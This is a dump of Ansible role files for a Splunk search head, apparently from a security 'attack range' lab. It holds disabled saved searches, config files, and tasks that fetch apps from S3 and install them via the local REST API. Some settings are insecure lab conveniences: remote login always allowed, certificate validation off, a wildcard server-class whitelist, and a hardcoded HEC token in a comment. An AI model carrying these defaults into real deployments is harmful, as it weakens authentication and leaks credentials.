38 | action.threat_add.param.verbose = 0
39 | alert.track = 0
40 | disabled = 1
41 | is_visible = 0
42 |
43 | [Access - Authentication Tracker - Lookup Gen]
44 | action.keyindicator.invert = 0
45 | action.makestreams.param.verbose = 0
46 | action.nbtstat.param.verbose = 0
47 | action.notable.param.verbose = 0
48 | action.nslookup.param.verbose = 0
49 | action.ping.param.verbose = 0
50 | action.risk.param.verbose = 0
51 | action.send2uba.param.verbose = 0
52 | action.threat_add.param.verbose = 0
53 | alert.track = 0
54 | disabled = 1
55 | is_visible = 0
56 |
57 | [Access - Access App Tracker - Lookup Gen]
58 | action.keyindicator.invert = 0
59 | action.makestreams.param.verbose = 0
60 | action.nbtstat.param.verbose = 0
61 | action.notable.param.verbose = 0
62 | action.nslookup.param.verbose = 0
63 | action.ping.param.verbose = 0
64 | action.risk.param.verbose = 0
65 | action.send2uba.param.verbose = 0
66 | action.threat_add.param.verbose = 0
67 | alert.track = 0
68 | disabled = 1
69 | is_visible = 0
70 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_SA-AuditAndDataProtection.conf:
--------------------------------------------------------------------------------
1 | [Audit - Events Per Day - Lookup Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Audit - Managed Lookups Size - Summary Gen]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_SA-EndpointProtection.conf:
--------------------------------------------------------------------------------
1 | [Endpoint - Index Time Delta 2 - Summary Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Endpoint - Malware Daily Count - Context Gen]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 |
29 | [Change - Total Change Count By User By Change Type Per Day - Context Gen]
30 | action.keyindicator.invert = 0
31 | action.makestreams.param.verbose = 0
32 | action.nbtstat.param.verbose = 0
33 | action.notable.param.verbose = 0
34 | action.nslookup.param.verbose = 0
35 | action.ping.param.verbose = 0
36 | action.risk.param.verbose = 0
37 | action.send2uba.param.verbose = 0
38 | action.threat_add.param.verbose = 0
39 | alert.track = 0
40 | disabled = 1
41 | is_visible = 0
42 |
43 | [Endpoint - Malware Operations Tracker - Lookup Gen]
44 | action.keyindicator.invert = 0
45 | action.makestreams.param.verbose = 0
46 | action.nbtstat.param.verbose = 0
47 | action.notable.param.verbose = 0
48 | action.nslookup.param.verbose = 0
49 | action.ping.param.verbose = 0
50 | action.risk.param.verbose = 0
51 | action.send2uba.param.verbose = 0
52 | action.threat_add.param.verbose = 0
53 | alert.track = 0
54 | disabled = 1
55 | is_visible = 0
56 |
57 | [Endpoint - System Version Tracker - Lookup Gen]
58 | action.keyindicator.invert = 0
59 | action.makestreams.param.verbose = 0
60 | action.nbtstat.param.verbose = 0
61 | action.notable.param.verbose = 0
62 | action.nslookup.param.verbose = 0
63 | action.ping.param.verbose = 0
64 | action.risk.param.verbose = 0
65 | action.send2uba.param.verbose = 0
66 | action.threat_add.param.verbose = 0
67 | alert.track = 0
68 | disabled = 1
69 | is_visible = 0
70 |
71 | [Endpoint - User Account Tracker - Lookup Gen]
72 | action.keyindicator.invert = 0
73 | action.makestreams.param.verbose = 0
74 | action.nbtstat.param.verbose = 0
75 | action.notable.param.verbose = 0
76 | action.nslookup.param.verbose = 0
77 | action.ping.param.verbose = 0
78 | action.risk.param.verbose = 0
79 | action.send2uba.param.verbose = 0
80 | action.threat_add.param.verbose = 0
81 | alert.track = 0
82 | disabled = 1
83 | is_visible = 0
84 |
85 | [Endpoint - Update Signature Reference - Lookup Gen]
86 | action.keyindicator.invert = 0
87 | action.makestreams.param.verbose = 0
88 | action.nbtstat.param.verbose = 0
89 | action.notable.param.verbose = 0
90 | action.nslookup.param.verbose = 0
91 | action.ping.param.verbose = 0
92 | action.risk.param.verbose = 0
93 | action.send2uba.param.verbose = 0
94 | action.threat_add.param.verbose = 0
95 | alert.track = 0
96 | disabled = 1
97 | is_visible = 0
98 |
99 | [Endpoint - Average Infection Length - Summary Gen]
100 | action.keyindicator.invert = 0
101 | action.makestreams.param.verbose = 0
102 | action.nbtstat.param.verbose = 0
103 | action.notable.param.verbose = 0
104 | action.nslookup.param.verbose = 0
105 | action.ping.param.verbose = 0
106 | action.risk.param.verbose = 0
107 | action.send2uba.param.verbose = 0
108 | action.threat_add.param.verbose = 0
109 | alert.track = 0
110 | disabled = 1
111 | is_visible = 0
112 |
113 | [Endpoint - Malware Tracker - Lookup Gen]
114 | action.keyindicator.invert = 0
115 | action.makestreams.param.verbose = 0
116 | action.nbtstat.param.verbose = 0
117 | action.notable.param.verbose = 0
118 | action.nslookup.param.verbose = 0
119 | action.ping.param.verbose = 0
120 | action.risk.param.verbose = 0
121 | action.send2uba.param.verbose = 0
122 | action.threat_add.param.verbose = 0
123 | alert.track = 0
124 | disabled = 1
125 | is_visible = 0
126 |
127 | [Endpoint - Services Tracker - Lookup Gen]
128 | action.keyindicator.invert = 0
129 | action.makestreams.param.verbose = 0
130 | action.nbtstat.param.verbose = 0
131 | action.notable.param.verbose = 0
132 | action.nslookup.param.verbose = 0
133 | action.ping.param.verbose = 0
134 | action.risk.param.verbose = 0
135 | action.send2uba.param.verbose = 0
136 | action.threat_add.param.verbose = 0
137 | alert.track = 0
138 | disabled = 1
139 | is_visible = 0
140 |
141 | [Endpoint - Local Processes Tracker - Lookup Gen]
142 | action.keyindicator.invert = 0
143 | action.makestreams.param.verbose = 0
144 | action.nbtstat.param.verbose = 0
145 | action.notable.param.verbose = 0
146 | action.nslookup.param.verbose = 0
147 | action.ping.param.verbose = 0
148 | action.risk.param.verbose = 0
149 | action.send2uba.param.verbose = 0
150 | action.threat_add.param.verbose = 0
151 | alert.track = 0
152 | disabled = 1
153 | is_visible = 0
154 |
155 | [Endpoint - Listening Ports Tracker - Lookup Gen]
156 | action.keyindicator.invert = 0
157 | action.makestreams.param.verbose = 0
158 | action.nbtstat.param.verbose = 0
159 | action.notable.param.verbose = 0
160 | action.nslookup.param.verbose = 0
161 | action.ping.param.verbose = 0
162 | action.risk.param.verbose = 0
163 | action.send2uba.param.verbose = 0
164 | action.threat_add.param.verbose = 0
165 | alert.track = 0
166 | disabled = 1
167 | is_visible = 0
168 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_SA-NetworkProtection.conf:
--------------------------------------------------------------------------------
1 | [Web - Web Event Count By Src By HTTP Method Per 1d - Context Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Network - IDS Category Tracker - Lookup Gen]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 |
29 | [Network - Communication Rule Tracker - Lookup Gen]
30 | action.keyindicator.invert = 0
31 | action.makestreams.param.verbose = 0
32 | action.nbtstat.param.verbose = 0
33 | action.notable.param.verbose = 0
34 | action.nslookup.param.verbose = 0
35 | action.ping.param.verbose = 0
36 | action.risk.param.verbose = 0
37 | action.send2uba.param.verbose = 0
38 | action.threat_add.param.verbose = 0
39 | alert.track = 0
40 | disabled = 1
41 | is_visible = 0
42 |
43 | [Network - Vulnerability Signature Reference - Lookup Gen]
44 | action.keyindicator.invert = 0
45 | action.makestreams.param.verbose = 0
46 | action.nbtstat.param.verbose = 0
47 | action.notable.param.verbose = 0
48 | action.nslookup.param.verbose = 0
49 | action.ping.param.verbose = 0
50 | action.risk.param.verbose = 0
51 | action.send2uba.param.verbose = 0
52 | action.threat_add.param.verbose = 0
53 | alert.track = 0
54 | disabled = 1
55 | is_visible = 0
56 |
57 | [Network - IDS Attack Tracker - Lookup Gen]
58 | action.keyindicator.invert = 0
59 | action.makestreams.param.verbose = 0
60 | action.nbtstat.param.verbose = 0
61 | action.notable.param.verbose = 0
62 | action.nslookup.param.verbose = 0
63 | action.ping.param.verbose = 0
64 | action.risk.param.verbose = 0
65 | action.send2uba.param.verbose = 0
66 | action.threat_add.param.verbose = 0
67 | alert.track = 0
68 | disabled = 1
69 | is_visible = 0
70 |
71 | [Network - Port And Protocol Tracker - Lookup Gen]
72 | action.keyindicator.invert = 0
73 | action.makestreams.param.verbose = 0
74 | action.nbtstat.param.verbose = 0
75 | action.notable.param.verbose = 0
76 | action.nslookup.param.verbose = 0
77 | action.ping.param.verbose = 0
78 | action.risk.param.verbose = 0
79 | action.send2uba.param.verbose = 0
80 | action.threat_add.param.verbose = 0
81 | alert.track = 0
82 | disabled = 1
83 | is_visible = 0
84 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/savedsearches_SA-ThreatIntelligence.conf:
--------------------------------------------------------------------------------
1 | [Threat - ICANN Top Level Domain - Lookup Gen]
2 | action.keyindicator.invert = 0
3 | action.makestreams.param.verbose = 0
4 | action.nbtstat.param.verbose = 0
5 | action.notable.param.verbose = 0
6 | action.nslookup.param.verbose = 0
7 | action.ping.param.verbose = 0
8 | action.risk.param.verbose = 0
9 | action.send2uba.param.verbose = 0
10 | action.threat_add.param.verbose = 0
11 | alert.track = 0
12 | disabled = 1
13 | is_visible = 0
14 |
15 | [Threats - Disable Suppressions - Administrative]
16 | action.keyindicator.invert = 0
17 | action.makestreams.param.verbose = 0
18 | action.nbtstat.param.verbose = 0
19 | action.notable.param.verbose = 0
20 | action.nslookup.param.verbose = 0
21 | action.ping.param.verbose = 0
22 | action.risk.param.verbose = 0
23 | action.send2uba.param.verbose = 0
24 | action.threat_add.param.verbose = 0
25 | alert.track = 0
26 | disabled = 1
27 | is_visible = 0
28 | run_on_startup = 1
29 |
30 | [Risk - Total Risk By Risk Object Type Per Day - Context Gen]
31 | action.keyindicator.invert = 0
32 | action.makestreams.param.verbose = 0
33 | action.nbtstat.param.verbose = 0
34 | action.notable.param.verbose = 0
35 | action.nslookup.param.verbose = 0
36 | action.ping.param.verbose = 0
37 | action.risk.param.verbose = 0
38 | action.send2uba.param.verbose = 0
39 | action.threat_add.param.verbose = 0
40 | alert.track = 0
41 | disabled = 1
42 | is_visible = 0
43 |
44 | [Threat - Correlation Searches - Lookup Gen]
45 | action.keyindicator.invert = 0
46 | action.makestreams.param.verbose = 0
47 | action.nbtstat.param.verbose = 0
48 | action.notable.param.verbose = 0
49 | action.nslookup.param.verbose = 0
50 | action.ping.param.verbose = 0
51 | action.risk.param.verbose = 0
52 | action.send2uba.param.verbose = 0
53 | action.threat_add.param.verbose = 0
54 | alert.track = 0
55 | disabled = 1
56 | is_visible = 0
57 | run_on_startup = 1
58 |
59 | [Threat - Notable Owners - Lookup Gen]
60 | action.keyindicator.invert = 0
61 | action.makestreams.param.verbose = 0
62 | action.nbtstat.param.verbose = 0
63 | action.notable.param.verbose = 0
64 | action.nslookup.param.verbose = 0
65 | action.ping.param.verbose = 0
66 | action.risk.param.verbose = 0
67 | action.send2uba.param.verbose = 0
68 | action.threat_add.param.verbose = 0
69 | alert.track = 0
70 | disabled = 1
71 | is_visible = 0
72 | run_on_startup = 1
73 |
74 | [Threat - Risk Correlation By System - Lookup Gen]
75 | action.keyindicator.invert = 0
76 | action.makestreams.param.verbose = 0
77 | action.nbtstat.param.verbose = 0
78 | action.notable.param.verbose = 0
79 | action.nslookup.param.verbose = 0
80 | action.ping.param.verbose = 0
81 | action.risk.param.verbose = 0
82 | action.send2uba.param.verbose = 0
83 | action.threat_add.param.verbose = 0
84 | alert.track = 0
85 | disabled = 1
86 | is_visible = 0
87 | run_on_startup = 0
88 |
89 | [Threat - Risk Correlation By User - Lookup Gen]
90 | action.keyindicator.invert = 0
91 | action.makestreams.param.verbose = 0
92 | action.nbtstat.param.verbose = 0
93 | action.notable.param.verbose = 0
94 | action.nslookup.param.verbose = 0
95 | action.ping.param.verbose = 0
96 | action.risk.param.verbose = 0
97 | action.send2uba.param.verbose = 0
98 | action.threat_add.param.verbose = 0
99 | alert.track = 0
100 | disabled = 1
101 | is_visible = 0
102 | run_on_startup = 0
103 |
104 | [Threat - Refresh Governance - Administrative]
105 | action.keyindicator.invert = 0
106 | action.makestreams.param.verbose = 0
107 | action.nbtstat.param.verbose = 0
108 | action.notable.param.verbose = 0
109 | action.nslookup.param.verbose = 0
110 | action.ping.param.verbose = 0
111 | action.risk.param.verbose = 0
112 | action.send2uba.param.verbose = 0
113 | action.threat_add.param.verbose = 0
114 | alert.track = 0
115 | disabled = 1
116 | is_visible = 0
117 | run_on_startup = 1
118 |
119 | [Threat - Suppressed Notables - Summary Gen]
120 | action.keyindicator.invert = 0
121 | action.makestreams.param.verbose = 0
122 | action.nbtstat.param.verbose = 0
123 | action.notable.param.verbose = 0
124 | action.nslookup.param.verbose = 0
125 | action.ping.param.verbose = 0
126 | action.risk.param.verbose = 0
127 | action.send2uba.param.verbose = 0
128 | action.threat_add.param.verbose = 0
129 | alert.track = 0
130 | disabled = 1
131 | is_visible = 0
132 |
133 | [Threat - Refresh Reviewstatuses - Administrative]
134 | action.keyindicator.invert = 0
135 | action.makestreams.param.verbose = 0
136 | action.nbtstat.param.verbose = 0
137 | action.notable.param.verbose = 0
138 | action.nslookup.param.verbose = 0
139 | action.ping.param.verbose = 0
140 | action.risk.param.verbose = 0
141 | action.send2uba.param.verbose = 0
142 | action.threat_add.param.verbose = 0
143 | alert.track = 0
144 | disabled = 1
145 | is_visible = 0
146 | run_on_startup = 1
147 |
148 | [Threat - Mozilla Public Suffix - Lookup Gen]
149 | action.keyindicator.invert = 0
150 | action.makestreams.param.verbose = 0
151 | action.nbtstat.param.verbose = 0
152 | action.notable.param.verbose = 0
153 | action.nslookup.param.verbose = 0
154 | action.ping.param.verbose = 0
155 | action.risk.param.verbose = 0
156 | action.send2uba.param.verbose = 0
157 | action.threat_add.param.verbose = 0
158 | alert.track = 0
159 | disabled = 1
160 | is_visible = 0
161 |
162 | [Risk - Median Object Risk Per Day - Context Gen]
163 | action.keyindicator.invert = 0
164 | action.makestreams.param.verbose = 0
165 | action.nbtstat.param.verbose = 0
166 | action.notable.param.verbose = 0
167 | action.nslookup.param.verbose = 0
168 | action.ping.param.verbose = 0
169 | action.risk.param.verbose = 0
170 | action.send2uba.param.verbose = 0
171 | action.threat_add.param.verbose = 0
172 | alert.track = 0
173 | disabled = 1
174 | is_visible = 0
175 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/server.conf:
--------------------------------------------------------------------------------
1 | [general]
2 | allowRemoteLogin = always
3 |
4 | [diskUsage]
5 | minFreeSpace = 1000
6 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/serverclass.conf:
--------------------------------------------------------------------------------
1 | [serverClass:splunk_stream_deployment:app:Splunk_TA_stream]
2 | restartSplunkWeb = 0
3 | restartSplunkd = 1
4 | stateOnClient = enabled
5 |
6 | [serverClass:splunk_stream_deployment]
7 | whitelist.0 = *
8 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/user-prefs.conf:
--------------------------------------------------------------------------------
1 | [general]
2 | render_version_messages = 1
3 | checked_new_maintenance_version = 8.0.3
4 | checked_new_version = 8.0.3
5 | new_maintenance_version = 1
6 | new_version = 1
7 | dismissedInstrumentationOptInVersion = 4
8 | hideInstrumentationOptInModal = 1
9 | notification_python_3_impact = false
10 | eai_app_only = False
11 | eai_results_per_page = 25
12 | display.page.home.dashboardId = /servicesNS/nobody/splunk_attack_range_reporting/data/ui/views/attack_range_main_dashboard
13 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/files/web.conf:
--------------------------------------------------------------------------------
1 | [settings]
2 | max_upload_size = 1024
3 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: restart splunk
2 | service: name=splunk state=restarted
3 | become: yes
4 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_hec.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for hec inputs configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/splunk_httpinput/local/
11 |
12 | - name: copy inputs.conf
13 | copy:
14 | src: hec_inputs.conf
15 | dest: /opt/splunk/etc/apps/splunk_httpinput/local/inputs.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
20 | # - name: add inputs for Kubernetes
21 | # blockinfile:
22 | # path: /opt/splunk/etc/apps/splunk_httpinput/local/inputs.conf
23 | # insertafter: 'EOF'
24 | # block: |
25 | # [http]
26 | # disabled = 0
27 | #
28 | # [http://k8stoken]
29 | # description = Token for Kubernetes
30 | # disabled = 0
31 | # token = 1b0bb9cc-e884-4ae0-b3fa-9062f200b328
32 | # index = kubernetes
33 | # indexes = kubernetes,kubernetes-metrics
34 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_indexes.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for indexes configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/indexes_app/local/
11 |
12 | - name: copy indexes.conf to splunk server
13 | copy:
14 | src: indexes.conf
15 | dest: /opt/splunk/etc/apps/indexes_app/local/indexes.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
20 | - name: copy authorize.conf for default searchable indexes_app
21 | copy:
22 | src: authorize.conf
23 | dest: /opt/splunk/etc/system/local/authorize.conf
24 | owner: splunk
25 | group: splunk
26 | notify: restart splunk
27 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_inputs.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for inputs configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/inputs_app/local/
11 |
12 | - name: copy inputs.conf
13 | copy:
14 | src: inputs.conf
15 | dest: /opt/splunk/etc/apps/inputs_app/local/inputs.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_limits.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for indexes configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/limits_app/local/
11 |
12 | - name: copy limits.conf to splunk server
13 | copy:
14 | src: limits.conf
15 | dest: /opt/splunk/etc/apps/limits_app/local/limits.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_server_conf.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for server configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/server_app/local/
11 |
12 | - name: copy server.conf to splunk server
13 | copy:
14 | src: server.conf
15 | dest: /opt/splunk/etc/apps/server_app/local/server.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
20 | - name: restart splunk
21 | service: name=splunk state=restarted
22 | become: yes
23 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/configure_web_conf.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: Create folder directory for web configuration
3 | file:
4 | path: "{{ item }}"
5 | state: directory
6 | owner: splunk
7 | group: splunk
8 | recurse: yes
9 | with_items:
10 | - /opt/splunk/etc/apps/web_app/local/
11 |
12 | - name: copy web.conf to splunk server
13 | copy:
14 | src: web.conf
15 | dest: /opt/splunk/etc/apps/web_app/local/web.conf
16 | owner: splunk
17 | group: splunk
18 | notify: restart splunk
19 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/create_serverclass.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | - name: copy serverclass.conf to splunk server
4 | copy:
5 | src: serverclass.conf
6 | dest: /opt/splunk/etc/system/local/serverclass.conf
7 | owner: splunk
8 | group: splunk
9 | notify: restart splunk
10 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_asx_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if Timeline Visualization exists
2 | stat:
3 | path: /opt/splunk/etc/apps/timeline_app
4 | register: timeline_custom_visualization_app
5 |
6 | - name: download Timeline Visualization from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ timeline_custom_visualization }}'
9 | dest: /tmp/timeline_custom_visualization_app.tgz
10 | when: timeline_custom_visualization_app.stat.exists == False
11 |
12 | - name: Install Timeline Visualization via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/timeline_custom_visualization_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: timeline_custom_visualization_app.stat.exists == False
25 | notify: restart splunk
26 |
27 |
28 | - name: Check if ASX App exists
29 | stat:
30 | path: /opt/splunk/etc/apps/Splunk_ASX
31 | register: asx_app
32 |
33 | - name: download ASX app from S3 bucket
34 | get_url:
35 | url: '{{ s3_bucket_url }}/{{ splunk_asx_app }}'
36 | dest: /tmp/asx_app.tgz
37 | when: asx_app.stat.exists == False
38 |
39 | - name: Install asx app via REST
40 | uri:
41 | url: "https://127.0.0.1:8089/services/apps/local"
42 | method: POST
43 | user: "admin"
44 | password: "{{ splunk_admin_password }}"
45 | validate_certs: false
46 | body: "name=/tmp/asx_app.tgz&update=true&filename=true"
47 | headers:
48 | Content-Type: "application/x-www-form-urlencoded"
49 | status_code: [ 200, 201 ]
50 | timeout: 30
51 | notify: restart splunk
52 | when: asx_app.stat.exists == False
53 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_attack_range_dashboard.yml:
--------------------------------------------------------------------------------
1 | - name: Check if Status Indicator Dashboard exists
2 | stat:
3 | path: /opt/splunk/etc/apps/status_indicator_app
4 | register: custom_dashboard_status_app
5 |
6 | - name: download Status Indicator Dashboard from S3 bucket
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ status_indicator_custom_visualization }}'
9 | dest: /tmp/custom_dashboard_status_app.tgz
10 | when: custom_dashboard_status_app.stat.exists == False
11 |
12 | - name: Install Status Indicator Dashboard via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=/tmp/custom_dashboard_status_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: custom_dashboard_status_app.stat.exists == False
25 | notify: restart splunk
26 |
27 | - name: Check if Punchcard Dashboard exists
28 | stat:
29 | path: /opt/splunk/etc/apps/punchcard_app
30 | register: punchcard_dashboard_app
31 |
32 | - name: download Punchcard Dashboard from S3 bucket
33 | get_url:
34 | url: '{{ s3_bucket_url }}/{{ punchard_custom_visualization }}'
35 | dest: /tmp/punchcard_dashboard_app.tgz
36 | when: punchcard_dashboard_app.stat.exists == False
37 |
38 | - name: Install Punchcard Dashboard via REST
39 | uri:
40 | url: "https://127.0.0.1:8089/services/apps/local"
41 | method: POST
42 | user: "admin"
43 | password: "{{ splunk_admin_password }}"
44 | validate_certs: false
45 | body: "name=/tmp/punchcard_dashboard_app.tgz&update=true&filename=true"
46 | headers:
47 | Content-Type: "application/x-www-form-urlencoded"
48 | status_code: [ 200, 201 ]
49 | timeout: 30
50 | when: punchcard_dashboard_app.stat.exists == False
51 | notify: restart splunk
52 |
53 |
54 | - name: Check if Attack Range Reporting exists
55 | stat:
56 | path: /opt/splunk/etc/apps/splunk_attack_range_reporting
57 | register: attack_range_reporting_app
58 |
59 | - name: download Attack Range Reporting from S3 bucket
60 | get_url:
61 | url: '{{ s3_bucket_url }}/{{ splunk_attack_range_dashboard }}'
62 | dest: /tmp/attack_range_reporting_app.tgz
63 | when: attack_range_reporting_app.stat.exists == False
64 |
65 | - name: Install Attack Range Reporting via REST
66 | uri:
67 | url: "https://127.0.0.1:8089/services/apps/local"
68 | method: POST
69 | user: "admin"
70 | password: "{{ splunk_admin_password }}"
71 | validate_certs: false
72 | body: "name=/tmp/attack_range_reporting_app.tgz&update=true&filename=true"
73 | headers:
74 | Content-Type: "application/x-www-form-urlencoded"
75 | status_code: [ 200, 201 ]
76 | timeout: 30
77 | when: attack_range_reporting_app.stat.exists == False
78 | notify: restart splunk
79 |
80 | - name: Create folder directory for user-prefs configuration
81 | file:
82 | path: "{{ item }}"
83 | state: directory
84 | owner: splunk
85 | group: splunk
86 | recurse: yes
87 | with_items:
88 | - /opt/splunk/etc/users/admin/user-prefs/local/
89 |
90 | - name: copy user-prefs.conf to splunk server
91 | copy:
92 | src: user-prefs.conf
93 | dest: /opt/splunk/etc/users/admin/user-prefs/local/user-prefs.conf
94 | owner: splunk
95 | group: splunk
96 | notify: restart splunk
97 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_aws_app.yml:
--------------------------------------------------------------------------------
1 | - name: Check if aws app exists
2 | stat:
3 | path: /opt/splunk/etc/apps/Splunk_TA_aws # need to be done
4 | register: aws_app
5 |
6 | - name: download AWS App from S3
7 | get_url:
8 | url: '{{ s3_bucket_url }}/{{ splunk_aws_app }}'
9 | dest: /tmp/aws_app.tgz
10 | when: aws_app.stat.exists == False
11 |
12 | - name: Install aws app via REST
13 | uri:
14 | url: "https://127.0.0.1:8089/services/apps/local"
15 | method: POST
16 | user: "admin"
17 | password: "{{ splunk_admin_password }}"
18 | validate_certs: false
19 | body: "name=tmp/aws_app.tgz&update=true&filename=true"
20 | headers:
21 | Content-Type: "application/x-www-form-urlencoded"
22 | status_code: [ 200, 201 ]
23 | timeout: 30
24 | when: aws_app.stat.exists == False
25 | notify: restart splunk
26 |
27 | - name: Create folder directory for AWS TA
28 | file:
29 | path: "{{ item }}"
30 | state: directory
31 | owner: splunk
32 | group: splunk
33 | recurse: yes
34 | with_items:
35 | - /opt/splunk/etc/apps/Splunk_TA_aws/local/
36 |
37 | - name: Copy new aws_account_ext.conf configuration
38 | template:
39 | src: aws_account_ext.conf.j2
40 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/aws_account_ext.conf
41 | owner: splunk
42 | group: splunk
43 |
44 | - name: Copy new aws_cloudwatch_logs_tasks.conf configuration
45 | template:
46 | src: aws_cloudwatch_logs_tasks.conf.j2
47 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/aws_cloudwatch_logs_tasks.conf
48 | owner: splunk
49 | group: splunk
50 |
51 | - name: Copy new inputs.conf configuration
52 | template:
53 | src: aws_inputs.conf.j2
54 | dest: /opt/splunk/etc/apps/Splunk_TA_aws/local/inputs.conf
55 | owner: splunk
56 | group: splunk
57 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_botsv1_dataset.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: check if BOTSv1 app exists
3 | stat:
4 | path: /opt/splunk/etc/apps/botsv1_data_set
5 | register: botsv1_app
6 |
7 | - name: download BOTSv1 dataset
8 | unarchive:
9 | src: 'https://s3.amazonaws.com/botsdataset/botsv1/splunk-pre-indexed/botsv1_data_set.tgz'
10 | dest: /opt/splunk/etc/apps
11 | owner: splunk
12 | group: splunk
13 | remote_src: yes
14 | when: botsv1_app.stat.exists == False
15 |
--------------------------------------------------------------------------------
/ansible/roles/search_head/tasks/install_botsv1a_dataset.yml:
--------------------------------------------------------------------------------
1 |
2 | - name: check if BOTSv1 attack only app exists
3 | stat:
